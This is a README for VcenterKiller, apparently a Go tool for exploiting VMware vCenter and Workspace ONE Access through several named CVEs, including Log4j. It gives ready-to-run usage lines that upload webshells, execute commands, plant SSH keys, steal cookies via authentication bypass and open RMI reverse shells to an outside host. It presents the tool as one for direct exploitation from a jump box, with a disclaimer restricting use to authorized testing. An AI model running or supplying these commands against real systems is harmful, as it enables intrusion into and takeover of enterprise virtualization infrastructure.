VcenterKiller

-1. Note

For those setting up a vulnerable environment locally, using vckiller to verify log4j will mostly fail, because under VMware's NAT mode, the outgoing network interface in the verification module will be determined as 127.0.0.1, causing the target's LDAP Server address to become 127.0.0.1 and the verification to fail 😏

0. Must Read

If you encounter a bug, please submit an issue. This tool is purely for convenience; there is nothing fancy about it.

1. What is it

A comprehensive verification tool for Vcenter, including the most mainstream CVEs: CVE-2021-21972, CVE-2021-21985, and CVE-2021-22005. It provides one-click upload of webshell, command execution, or uploading a public key and SSH connection. It also includes detection and exploitation of the Apache Log4j CVE-2021-44228 vulnerability in Vcenter, such as command execution with output retrieval (requires an ldap malicious server). Now there is no need to start an additional ldap server; I crafted an exploitation method based on the jndi-injection tool. Vcenter uses Tomcat as middleware, so just use the TomcatBypass chain.

2. Its positioning

Vcenter is usually placed on the internal network, and vulnerability signatures are often common (like fscan, which can detect them easily). So VcenterKiller is not used to detect whether a target has vulnerabilities, but to directly attempt exploitation. It is usually executed through CS/MSF on a jump box, so unnecessary outputs are removed.

Why Go? Because Python is convenient to write but painful to use (numerous dependencies and large compiled size), and C# cannot be cross-platform (I dropped it halfway).

3. Usage

go build -o main.exe

./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh // upload public key
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami // can also not specify ldap service
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 // get cookie
./main.exe -u https://xx.xx.com -m 31656 // If CVE-2022-22972 doesn't work, try CVE-2022-31656

4. Disclaimer

This tool is only intended for legally authorized enterprise security activities, such as internal attack/defense drills, vulnerability verification, and retesting. If you need to test the tool's usability, please set up your own target environment.

When using this tool for detection, you must ensure that the behavior complies with local laws and regulations and that you have obtained sufficient authorization. Do not use it against unauthorized targets.

If you engage in any illegal behavior while using this tool, you will bear the corresponding consequences. We will not assume any legal or joint liability.

5. Changelog

V1.0 Released
V1.1 Added RMI reverse shell functionality for CVE-2021-21985, requires starting an RMI server, e.g., jndi-injection-exploit
V1.2 Added log4j detection and verification capability for Vcenter
V1.3 Added vulnerability verification for VMware Workspace ONE Access, including CVE-2022-22954 Remote Command Execution; CVE-2022-22972, CVE-2022-31656 Authentication Bypass
V1.3.1 Fixed issue where port was ignored during log4j detection; some services change the default 443 port
V1.3.2 Modified log4j exploitation method to execute commands and retrieve output via tomcatbypassEcho. Tested on vcenter 7.0 Linux.
V1.3.3 Added differentiation between version 6.7 and 7.0 exploitation. Version 7.0 must use tomcatbypass, while version 6.7 can use normal basic chain.
V1.3.4 Modified log4j verification logic: currently loops 5 times with different payloads indiscriminately; if there is output, it shows; if not, it doesn't.
V1.3.5 Eliminated dependency on Jndi-Injection-Exploit for log4j; can directly execute commands and retrieve output.
V1.3.6 Modified SSH functionality for 21972 and optimized other details.
V1.3.7 Added proxy support, supports http and socks.
V1.3.8 Not yet started, considering adding features...
...